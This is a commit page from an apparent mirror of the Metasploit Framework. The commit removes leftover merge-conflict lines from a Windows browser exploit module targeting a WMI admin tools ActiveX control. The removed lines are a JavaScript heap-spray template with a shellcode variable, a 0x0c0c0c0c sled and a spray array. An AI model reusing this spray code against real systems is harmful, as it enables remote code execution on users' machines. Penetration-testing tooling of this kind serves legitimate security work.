infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

fix silly merge conflict data in HTML 

git-svn-id: file:///home/svn/framework3/trunk@11479 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2011-01-05 22:52:54 +00:00
parent 91e73f1714
commit bc7a8e3b47
1 changed files with 0 additions and 16 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
modules/exploits/windows/browser/wmi_admintools.rb
View File

@ -190,25 +190,9 @@ EOS
# Construct the final page
content = <<-EOS
<html>
<<<<<<< .mine
<head>
<script language='javascript'>
#{js}
=======
<object classid="clsid:2745E5F5-D234-11D0-847A-00C04FD7BB08" id="#{vname}"></object>
<script>
#{rand1} = unescape('#{shellcode}');
#{rand2} = unescape('%u0c0c%u0c0c');
#{rand3} = 20;
#{rand4} = #{rand3} + #{rand1}.length;
while(#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
#{rand5} = #{rand2}.substring(0, #{rand4});
#{rand6} = #{rand2}.substring(0, #{rand2}.length - #{rand4});
while( #{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
#{rand7} = new Array();
for(#{rand8} = 0; #{rand8} < 450; #{rand8}++) #{rand7}[#{rand8}] = #{rand6} + #{rand1};
#{vname}.#{method_name}(0x0c0c0c0c);
>>>>>>> .r11397
</script>
</head>
<body onload='#{js_function}()'>